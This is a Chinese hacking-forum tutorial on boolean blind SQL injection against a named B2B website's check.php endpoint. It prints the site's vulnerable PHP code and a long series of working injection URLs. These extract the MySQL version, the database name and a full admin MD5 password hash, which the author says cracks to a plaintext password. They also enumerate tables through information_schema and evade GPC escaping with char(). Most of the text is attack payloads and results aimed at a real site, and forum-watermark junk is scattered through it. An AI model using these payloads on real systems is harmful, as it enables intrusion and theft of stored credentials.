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本文实例来自习科论坛交流三群。这个注入点可以使用错误回显注入来爆数据,本文出于讲解的目的,使用更麻烦的盲注。
9 e: { ` F& d8 U$ D, d* b: U6 \& r阅读本文,需要有一点点SQL基础。盲注理解起来其实非常简单,就是做起来非常费劲, L$ }! G& Z2 H* u2 X; B F
作者:YoCo Smart
7 [( t; e% `; I, V D/ x: l来自:习科信息技术 - http://BlackBap.Org
4 O5 \7 i2 }6 r, f b* C( F# m我们先来看注入点,是一个B2B网站建站公司: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin
- 用户名已被注册
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'
- select userid from demo_b2b_member where user = 'admin''You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
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" }9 Z( g- k# Z错误提示已经很明了了。我们看一下注入页面的代码(有删改): - $js_user = trim($_GET["js_user"]);
- if($js_user){
- $num = $db->num_rows("select userid from demo_b2b_member where user = '$js_user'");
- if(!$num)
- echo "<div class=tips3></div>";
- else
- echo "<div class=tips2>用户名已被注册</div>";
- }
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以GET方式取值的变量js_user虽然没有过滤被直接带入了数据库执行,并且MySQL也执行了,但是并没有显示数据库的任何信息,而是判断是否符合, d9 _! X1 P% \; `# F. A
那么我们先从union的盲注来看吧。
# f& j' @" e8 |# w先看版本: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(version(),1)=5%23$ P1 k) F0 P H" C6 n* q
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这个时候我们来看看原来的代码中的SQL语句是怎么执行的: - select userid from demo_b2b_member where user = 'admin'and left(version(),1)=5#'
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4 [( E8 r; l1 {9 I; b因为执行成功,所以不符合if(!$num)这个条件,回显“用户名已被注册”,那么版本为5成立
7 H3 p" ~: z7 H" Y. H再来看database()的数据: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(database())=6%23
- database()长度6
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),1)='l'%23
- l
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),2)='li'%23
- li
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),3)='lic'%23
- lic
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),4)='licl'%23
- licl
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),5)='licln'%23
- licln
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(database(),6)='liclny'%23
- licclny
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# F! @0 t+ l. D/ ?$ k- W) D5 Nlength()函数是计算括号中数据的长度,回显为纯数字,可以用大于小于和等于号来判断是否正确。
( {) u" U( |6 n9 M8 m这里要注意看一下left()函数中的数字变化,关于left()函数,可以自行参考MySQL手册。! n$ P% B% a; ?
再来看一点简单的判断句: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length(pass)=32%23
- select userid from demo_b2b_member where user = 'admin'and length(pass)=32#') d+ q: Y5 c( O/ c; J
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这个时候length()函数中的pass是猜测的,当然是建立在猜测正确的基础上。
) Y% n4 ]6 w! j& I$ X4 ?这里要说的是,pass和前面select后的userid同属一个表段demo_b2b_admin,所以不需要再带select语句/ W3 X" G8 U1 B. ]8 I I
那么这里就能得到: - 这里最后没有'#这个终止符,大家带进去看一下,你们懂得。前开后闭。
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,1)='0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,2)='04
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,3)='048
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,4)='0484
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,5)='04843
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,6)='04843e
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,7)='04843e9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,8)='04843e9f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,9)='04843e9f9
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,10)='04843e9f91
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,11)='04843e9f91a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,12)='04843e9f91ad
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,13)='04843e9f91adf
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,14)='04843e9f91adf2
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,15)='04843e9f91adf22
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,16)='04843e9f91adf228
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,17)='04843e9f91adf2287
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,18)='04843e9f91adf2287c
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,19)='04843e9f91adf2287c0
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,20)='04843e9f91adf2287c0a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,21)='04843e9f91adf2287c0af
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,22)='04843e9f91adf2287c0af5
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,23)='04843e9f91adf2287c0af5f
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,24)='04843e9f91adf2287c0af5fe
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,25)='04843e9f91adf2287c0af5fe1
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,26)='04843e9f91adf2287c0af5fe16
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,27)='04843e9f91adf2287c0af5fe167
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,28)='04843e9f91adf2287c0af5fe1675
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,29)='04843e9f91adf2287c0af5fe16750
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,30)='04843e9f91adf2287c0af5fe16750a
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,31)='04843e9f91adf2287c0af5fe16750a3
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+left(pass,32)='04843e9f91adf2287c0af5fe16750a35
- 长度是32,是md5加密,解密得到lcl2wly, `. C) u: d; t' S; j8 b% ]* z
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3 F5 m- C/ [8 r' e$ L% [6 o, E这样,猜数据的方法你肯定是懂了
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最后,我们来看demo_b2b_admin以外的数据,现在再来猜表段: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))<100%23
- http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+length((select+table_name+from+information_schema.tables+limit+0,1))=14%23
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" }1 f! w }: z/ v实际运行的SQL语句就是: - select userid from demo_b2b_member where user = 'admin'and length((select table_name from information_schema.tables limit 0,1))=14#'0 j9 Z, F) {+ a7 v- W- ^5 V
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上面这个语句,对于information_schema不明白的,可以参考其他MySQL注入文章来看一下这个库的意义。
$ C& p+ P% A" x! S# N5 L关于limit x,y 的用法,可以参考MySQL手册
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' B0 `5 \9 P0 n) j最后剩下的要说的就是ascii函数和hex函数了
- o7 s! V/ N% v& o这两个函数的意义是避开php的GPC转义,例如: - http://www.smartb2b.net/demo/b2b/member/check.php?js_user=admin'and+substr(left(pass,1),1,1)=char(48)%23
- select userid from demo_b2b_member where user = 'admin'and substr(pass,1,1)=char(48)#$ J5 ]1 f" L: S( L3 u" C; G
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0 c1 S, P& G o bsubstr()的用法可以参考MySQL手册,如果不懂,就这样套好了。Char()里面的数字替换为ascii码数字 |
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